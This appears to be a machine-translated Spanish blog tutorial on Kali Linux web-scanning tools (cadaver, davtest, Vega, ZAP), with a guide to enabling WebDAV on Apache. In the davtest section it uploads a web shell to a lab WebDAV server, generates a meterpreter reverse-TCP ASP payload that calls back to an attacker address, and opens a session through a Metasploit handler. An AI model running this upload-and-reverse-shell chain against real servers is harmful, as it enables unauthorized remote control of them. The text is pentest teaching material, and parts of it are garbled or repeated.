Kali Linux > Web Aplications > Web Vulnerability Scanners
Escaner de vulnerabilidades Webcadaver
Operaciones de espacio de nombres (Desplazamiento y copia)
Cadáver soporta la carga de archivos, descarga,
visualización en pantalla, las operaciones de espacio de nombres
(Desplazamiento y copia), la creación de recogida y eliminación, y las
operaciones de bloqueo.
Sintaxis
cadaver [OPTIONS] http://ejemplo.com [ :port] /path
Opciones
-t --tolerant Permitir cd / abierto en la no-WebDAV para la colección habilitada si el uso del servidor proxy o servidor WebDAV tiene problemas de cumplimiento.
-r --rcfile=FILE Leer archivo de script en vez de archivo / .cadaverrc.
-p --proxy=PROXY[ :PORT] Define el proxy para el host PROXY y un puerto opcional del proxy PORT
-V --version Mustra la informacion de la version en pantlla
-h --help Muestra en pantalla el emnsage de ayuda
Ejemplos
Se conecta al servidor myserver.example.com, abriendo la colección raíz.
cadáver http://dav.example.com/
Se conecta al servidor usando el puerto zope.example.com 8022, la apertura de la colección "/ Users / / fred".
cadáver http://zope.example.com:8022/Users/fred/
Se conecta a un servidor llamado secure.example.com mediante SSL.
cadáver https://secure.example.com/
Sintaxis
cadaver [OPTIONS] http://ejemplo.com [ :port] /path
Opciones
-t --tolerant Permitir cd / abierto en la no-WebDAV para la colección habilitada si el uso del servidor proxy o servidor WebDAV tiene problemas de cumplimiento.
-r --rcfile=FILE Leer archivo de script en vez de archivo / .cadaverrc.
-p --proxy=PROXY[ :PORT] Define el proxy para el host PROXY y un puerto opcional del proxy PORT
-V --version Mustra la informacion de la version en pantlla
-h --help Muestra en pantalla el emnsage de ayuda
Ejemplos
Se conecta al servidor myserver.example.com, abriendo la colección raíz.
cadáver http://dav.example.com/
Se conecta al servidor usando el puerto zope.example.com 8022, la apertura de la colección "/ Users / / fred".
cadáver http://zope.example.com:8022/Users/fred/
Se conecta a un servidor llamado secure.example.com mediante SSL.
cadáver https://secure.example.com/
davtest
Escaner de WebDAV habilitadoTutorial para activar WebDAV en Apache (mod_dav)
Preparación la instalación
Vamos a ver los pasos (sencillos) para activar WebDAV en Apache. Lo primero que hay que verificar es que el módulo mod_dav está cargado, ya sea de forma estática o dinámica. Normalmente cuando instalamos Apache por gestor de paquetes viene cargado de forma dinámica en el fichero httpd.conf:
Loadmodule dav_module modules/libdav.so
Si por contra compilamos Apache manualmente podemos decidir si compilarlo estáticamente o dinámicamente (como hemos visto antes). Para hacerlo estáticamente añadiremos la directiva correspondiente a la línea de compilación y podremos ver si está cargado con el comando:
# httpd -l
Otra opción es instalar el paquete por yum/apt/pkg si el paquete está disponible en un repositorio.
Configuración
Lo primero que tenemos que hacer es activar el soporte para WebDAV a nivel general de Apache, para ello añadiremos la siguiente línea en el fichero httpd.conf. Podemos restringirlo a nivel de <Directory> o <Location>:
Dav On
Además de esto, debemos especificar la base de datos de bloqueos (Lock Database) en la sección global de la configuración del httpd.conf:
DavLockDB /etc/apache/var/DavLock
Este directorio debe tener permisos de escritura para el usuario y grupo que ejecuta el servidor Apache.
El resultado final sería el siguiente, en este ejemplo activamos WebDAV en una ubicación (/webdav) únicamente para usuarios autenticados (admin) configurados con htpasswd
DavLockDB /usr/local/apache2/var/DavLock
<Location /webdav>
Dav On
AuthType Basic
AuthName DAV
AuthUserFile user.passwd
<LimitExcept GET OPTIONS>
require user admin
</LimitExcept>
</Location>
Estas mismas directivas (a excepción del DavLockDB) podríamos añadirlas dentro de un virtualhost.
Conectar al WebDAV
Muchos sistemas soportan acceso a WebDAV de forma nativa. No obstante, en Linux podéis usar cadaver sobre línea de comandos:
$ cadaver http://dav.test.com/webdav/
Tutorial de davtest para Kali Linux
En un WebDAV habilitado,(protocolo que proporciona funcionalidades para crear, cambiar y mover documentos en un servidor remoto) , hay dos cosas por descubrir rápidamente:1- Si se puede subir archivos,
2- En caso afirmativo, si se puede ejecutar código
Davtest ayuda a responder a estas preguntas intentando cargar la extensión del archivo de prueba de diferentes tipos (por ejemplo, "Php" o ". Txt"), comprueba si estos archivos han sido enviados y luego se puede ejecutar en el servidor.
También le permite subir archivos de texto sin formato y luego intenta utilizar el comando MOVE para cambiar su nombre en un formato ejecutable.
Suponiendo que usted puede cargar un archivo ejecutable, un archivo de prueba no es bueno para el servidor, entonces DAVTest puede descargar automáticamente un shell completamente funcional. Viene con scripts para PHP, ASP, ASPX, CFM, JSP, CGI, PL, y un archivo que se puede probar en un directorio determinado o dejar subir cualquier backdoor que desee.
DAVTest soporta:
Enviar automáticamente los archivos de exploits
Aleatorización automática de directorio para ayudar a ocultar archivos
Enviar archivos de texto y tratar de MOVE para el nombre del ejecutable
Basic y Digest autorización
Automático de limpieza de los archivos subidos
Enviar un archivo arbitrario
Sintaxis
/usr/bin/davtest.pl -url <url> [OPTIONS]
Opciones
-auth+ autorización (usuario: contraseña).Envíe este nombre de usuario / contraseña para Basic o autorización implícita.
-cleanup borrar todo cargado cuando se hace. Elimina todos los archivos puestos con éxito en el servidor antes de salir
-directory+ sufijo parte del directorio a crear.La parte estática del nombre del directorio que se utilizará cuando se ejecuta MKCOL (en lugar del nombre completo al azar)
-debug+ DAV nivel 1-3 (2 + 3 log req / resp a / tmp / perldav_debug.txt) Activar HTTP: Depuración de DAV, que registra en / tmp / perldav_debug.txt).
-move PUT archivos de texto a continuación, pasar al ejecutable. El intento de poner los archivos con extensión txt y luego pasar cuestión de cambiarlo a un nombre de archivo ejecutable.
-nocreate no crea un directorio
-quiet resumen de impresión única antes de salir
-rand+ usar esto en vez de una cadena aleatoria para nombres de archivo
-sendbd+ puertas traseras de envío:
auto - envía un backdoor apropiado para cualquier ejecutable que se realizó correctamente
ext - (por ejemplo, "php") para que coincida con los archivos en el "backdoors /" directorio. No incluya el punto inicial para la extensión.
-uploadfile+ cargar este archivo (requiere-uploadloc)
-uploadloc+ carga de archivos a esta ubicación / nombre (requiere-uploadfile)
-url+ esta es la dirección URL de la ubicación DAV.
Ejemplo
/usr/bin/davtest.pl-url http://localhost/davdir
Prueba de funcionamiento contra la caja laboratorio:
lab @ localhost:. davtest-1.0 # / davtest.pl-url-directory http://192.168.1.4 demo_dir-rand rAnD0M5Tr1nG_upfileP0C-cleanup
************************************************** ******
Prueba de conexión DAV
ABRIR ÉXITO: http://192.168.1.4
************************************************** ******
NOTA cadena aleatoria para esta sesión: rAnD0M5Tr1nG_upfileP0C
************************************************** ******
Creación del directorio
MKCOL ÉXITO: Creado http://192.168.1.4/demo_dir
************************************************** ******
Envío de archivos de prueba
PUT php ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT asp ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT html ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT shtml FALLO
PONER A PRUEBA cgi
PUT txt ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PONER A PRUEBA aspx
PUT pcm ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT jsp ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT pl FALLO
PUT JHTML ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
************************************************** ******
Comprobación de la ejecución de la prueba de archivos
EXEC php FALLO
EXEC asp ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
EXEC html ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
EXEC txt ÉXITO: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
EXEC pcm FALLO
EXEC jsp FALLO
EXEC JHTML FALLO
************************************************** ******
Limpiar
BORRAR ÉXITO: http://192.168.1.4/demo_dir
************************************************** ******
. / Davtest.pl Resumen:
Creado: http://192.168.1.4/demo_dir
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
Visto: http://192.168.1.4/demo_dir
Como se muestra arriba, vemos que podemos subir php, asp, html, txt, cfm, tipos de archivos JSP y JHTML. Sin embargo, de estos, sólo podemos ejecutar, asp, html y txt.
Esta davtest resumen puede ser una evidencia suficiente para esta vulnerabilidad. En un pentest, sin embargo, puede haber un escenario donde se enfrentan el host de destino está todo bajo llave y sólo un servidor Web se ejecuta en 80/tcp. Entonces, aprovechar esta vulnerabilidad se vuelve significativa y tendremos que ir más allá de esta davtest resumen.
Entonces, ¿qué podemos hacer desde aquí? La tarea obvia es subir un mecanismo de control del servidor de destino. Es decir, subir una cáscara web por ejemplo una cáscara asp vía PUT, a continuación, sólo tiene que llamar y jugar con el servidor.
Podemos generar una carga útil de shell mediante msfpayload.
$msfpayload windows / meterpreter / reverse_tcp lhost = 192.168.1.1 LPORT = 443 R | msfencode asp-t-o aspmetrev443t.asp
continuación, utilice davtest.pl para subirlo.
/usr/bin/davtest.pl-url-directory http://192.168.1.4 demo_dir-uploadfile aspmetrev443t.asp-uploadloc demo_dir
Exito: http://192.168.1.4/demo_dir/aspmetrev443t.asp
Antes de acceder a esta URL, asegúrese de empezar manejador metasploit multiselector para escuchar las conexiones entrantes de esta carga útil meterpreter shell inversa.
msf-pro>
msf-pro> exploit uso / multi / handler
msf exploit (manejador)> set payload windows / meterpreter / reverse_tcp
msf exploit (manejador)> set lhost 192.168.1.1
msf exploit (manejador)> set LPORT 443
msf exploit (manejador)> exploit
[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...
Con todo listo ahora, vaya a su aspmetrev443t.asp shell.
[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...
[*] Envío etapa (748032 bytes) a 192.168.1.4
[*] Periodo de sesiones Meterpreter 1 abierto (192.168.1.4:443 -> 192.168.1.1:56031)
vega
Escaner de aplicaciones web, inyección SQL, cross-site scripting (XSS), y otras vulnerabilidadesvega es una plataforma basada en entorno grafico que es util para analizar la seguridad de las aplicaciones WEB. Se puede aplicar inyecciones SQL, crosssite scripting (XXS) y otras fallos de seguridad. Tambien contiene un proxy para la depuracion de nuestras aplicaciones web interactivas. Se puede usar como escaner o como proxy.
Configuracion
Para impedir el escaneo de Vega hacia fuera puedes configurar las exclusiones (p. ej. /logout.php) - son los enlaces que Vega excluirá de su rastreo. Seleccionamos en el menu principal scan Edit target scope
En exclude ponemos la ruta que no queremos que explore y pulsamos add.
Vamos a configurar los proxis para la conexion, en el menu principal Window/preferences/
En la pantalla general tenemos dos opciones:
SOCKS proxy:Aqui se configura un socks proxy para que lo utilice en todas sus conexiones ("").
External HTTP proxy:Aqui se configure un proxy HTTP externo para enviar todas las peticiones DNS ("").
Una ved configurado le damos a apply.
EJEMPLO
Escaner
Vamos a pasar el escaner a una web que la tenemos en red local.
Seleccionamos en el menu principal la opcion scan arriba a la derecha y pulsamos en Start new scan en el menu principal
Introducimos la url a escanear en el campo Scan target y pulsamos en next
Aqui seleccionamos los modulos que queremos que se ejecuten, podemos elegir los modulos de inyeccion SQL,XSS,etc y los módulos de procesamiento de respuesta.
Pulsamos next
Las opciones de autentificacion, proporcionan uno o más valores de cookie.Para analizar con una sesión autenticada, obten y extrae un valor de cookie usando el proxy y pégalo en el campo de entrada de cookies.
En parameters agregamos nombres o parametros para evitar fuzzing durante la exploracion.
Pulsamos finish y dejamos que empiece a trabajar el escaner
Una ves terminado el escaner , vemos que en el panel Scan Alerts nos muestra las vulnerabilidedes segun su riesgo.
Seleccionamos una vulverabilidad y nos mostrara el informe del bug
Resource: muestra el enlace donde se encuentra la vulverabilidad
Request: vemos que es la peticion por metodo GET
Disccusion: una explicacion que hace referencia al metodo
Impact: el impacto que puede causar el fallo
Remediaton: unas sugerencias para arreglar el fallo
References: muestra unos enlaces de referencia sobre el tema
192.168.0.100/codeexec/example3.php/new=%20-->">'>"&pattern=/lamer/&base=Hello%20lamer
zaproxy
Escanear vulnerabilidades webVamos a utilizar zaproxy para escanear vulnerabilidades web.
Primero configuramos el proxy del navegador que vamos a usar en nuestro caso el Iceweasel
Preferences/Advanced/Network/Settings
Proxy HTTP:127.0.0.1 puerto 8080
Proxy SSL: 127.0.0.1 puerto 8080
Proxy FTP: 127.0.0.1 puerto 8080
donde dice no Proxy for ponemos localhost, 127.0.0.1:8080 aceptamos y close.(tal ved tengas que reiniciar el navegador)
Ahora pulsamos el icono Manage Add-Ons
Selecionamos todo y le damos a cerrar
En URL to attack ponemos la direccion de la web que vamos a escaner, en mi caso puse una que tengo ejecutada en una maquina virtual en local y pulsamos atacar
Vemos como trabaja el escaner
Podemos ir viendo las vulnerabilidades segun los va encontrando pulsando encima de el en el contenedor de abajo, nos muestra el tipo de error, en que parte del codigo esta ...
Es la hora de generar un informe. Vamos a la pestaña informes y seleccionamos generar informe HTML
Nos pedira donde guardar, ponemos la carpeta deseada y el nombre de fichero, pulsamos guardar. En ese mismo instante se nos habre una pagina en el navegador mostrandonos el informe.
Cuando dejamos de usar zaproxy hay que quitar el PROXY del navegador o no se nos cargara ninguna pagina.
No hay comentarios:
Publicar un comentario